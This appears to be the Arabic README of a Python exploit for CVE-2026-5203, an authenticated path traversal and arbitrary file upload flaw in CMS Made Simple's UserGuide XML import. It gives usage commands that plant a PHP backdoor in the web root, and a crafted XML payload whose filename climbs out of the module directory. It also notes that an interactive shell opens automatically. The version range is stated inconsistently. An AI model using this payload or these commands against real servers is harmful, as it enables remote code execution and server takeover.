
استغلال Python لـ CVE-2026-5203: اجتياز مسار موثَّق ورفع ملف تعسفي في CMS Made Simple ≤ 2.22، مما يتيح تنفيذ التعليمات البرمجية عن بُعد عبر نشر قشرة ويب PHP.
تفشل وظيفة استيراد XML لوحدة UserGuide في CMS Made Simple ≤ 2.2.22 في تعقيم أسماء الملفات المقدمة من المستخدم، مما يسمح لمسؤول مخول برفع ملفات تعسفية (مثل قذائف الويب PHP) في أي مكان على نظام ملفات الخادم عبر تسلسلات اختراق المسار.
| الحقل | القيمة |
|---|---|
| النوع | اختراق المسار / رفع ملفات تعسفي ← ثغرة تنفيذ أوامر عن بُعد |
| المكون | وحدة UserGuide — استيراد XML |
| الملف المتأثر | modules/UserGuide/lib/class.UserGuideImporterExporter.php |
| CVSS v3.1 | 7.2 HIGH — CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H |
| مطلوب مصادقة | نعم (مسؤول) |
// modules/UserGuide/lib/class.UserGuideImporterExporter.php (~L250-280)
$filename = (string) $xmlFile->filename;
$isdir = (string) $xmlFile->isdir;
تكتب الدالة المحتوى المفكوك من Base64 مباشرة إلى المسار الذي يتحكم به المهاجم.
python exploit.py <base_url> <admin_url> <username> <password> [upload_path]
أمثلة:
# Default path
python exploit.py http://target.com http://target.com/admin admin password123
# Custom upload path
python exploit.py http://target.com http://target.com/admin admin password123 \
../../../../../../var/www/html/backdoor.php
يبدأ شيل التفاعل تلقائيًا إذا كانت قذيفة الويب قابلة للوصول بعد الرفع.
<?xml version="1.0" encoding="UTF-8"?>
<modulecontent>
<module>UserGuide</module>
<version>1.3</version>
<files>
<file>
<filename>../../../webshell.php</filename>
<isdir>0</isdir>
<data>[BASE64_ENCODED_PHP_CODE]</data>
</file>
</files>
</modulecontent>